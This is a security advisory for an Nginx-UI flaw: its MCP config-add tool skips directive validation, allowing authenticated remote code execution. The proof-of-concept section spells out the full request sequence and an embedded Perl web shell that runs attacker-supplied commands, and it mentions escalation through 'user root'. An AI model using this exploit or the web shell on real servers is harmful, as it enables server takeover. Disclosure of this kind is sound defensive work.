GHSA-9jww-cxg5-rj9m: High severity go/github.com/0xJacky/Nginx-UI vulnerability
Summary
The MCP tool nginxconfigadd writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, jsimport, loadmodule, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.
Details
api/config/add.go (line 46) calls config.ValidateConfigFile before writing:
go err = config.ValidateConfigFile(path, content) // validates directives, checks blocklist if err != nil { cosy.ErrHandler(c, err) return }
mcp/config/configadd.go (line 79) omits that call entirely and writes directly:
go err = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check ... res := nginx.Control(nginx.Reload) // reload triggered immediately
config.ValidateConfigFile runs two checks: - ValidateConfigContent — rejects control characters, enforces encoding. - ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perlmodules, perlrequire, perlset, jsimport, jsset, jscontent, loadmodule (restricted modules), user root, and others.
Neither check runs on the MCP path. Note that mcp/config/configmodify.go does call ValidateConfigFile correctly — only configadd.go is affected.
The MCP endpoint (GET /mcp SSE + POST /mcpmessage JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.
PoC
1 — Control: confirm REST API blocks the payload
POST /api/configs Authorization: <token>
{ "name": "rce.conf", "basedir": "conf.d", "content": "<perl config below>", "overwrite": true }
Response: HTTP 500 scope=config code=40017 message: file content contains restricted nginx directive: {0}
ValidateConfigDirectives rejects perl — the REST API is working as intended.
2 — Open MCP SSE session
GET /mcp Authorization: <token> Accept: text/event-stream
Extract sessionId from the endpoint event.
3 — MCP initialize handshake
POST /mcpmessage?sessionId=<id>
{ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }
4 — Call nginxconfigadd with the identical blocked payload
POST /mcpmessage?sessionId=<id>
{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "rcebackdoor.conf", "basedir": "conf.d", "overwrite": true, "content": "server {\n listen 8888;\n\n location /rce {\n perl 'sub {\n my $r = shift;\n my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&])/);\n $cmd ||= \"id\";\n $r->sendhttpheader(\"text/plain\");\n $r->print(qx($cmd 2>&1));\n return OK;\n }';\n }\n}\n" } } }
Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rcebackdoor.conf, nginx reloaded automatically:
json { "jsonrpc": "2.0", "id": 2, "result": { "content": [ { "type": "text", "text": "{\"content\":\"...\",\"filepath\":\"/etc/managed-nginx/conf.d/rcebackdoor.conf\",\"name\":\"rcebackdoor.conf\"}" } ] } }
The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.
5 — Trigger RCE
GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)
Impact
Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.
On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/0xJacky/Nginx-UIto a version that resolves this vulnerability.Fixed in 1.9.10-0.20260703131214-23d1934099b0
Event History
Frequently Asked Questions
Who can exploit this issue?
An authenticated attacker who can invoke the MCP nginx_config_add tool can exploit the validation bypass. The issue is in the MCP configuration-add flow, not the documented REST API flow.
Is the REST configuration API affected by the same bypass?
No. POST /api/configs calls config.ValidateConfigFile before writing the configuration and rejects dangerous directives covered by the blocklist.
When can this lead to remote code execution?
Remote code execution is possible when the server has the nginx Perl, njs, or Lua module loaded. The attacker can add blocked directives such as perl, js_import, or load_module and the tool immediately triggers an nginx reload.
Does exploitation require a separate nginx reload step?
No. After writing the supplied configuration content, nginx_config_add triggers an nginx reload immediately.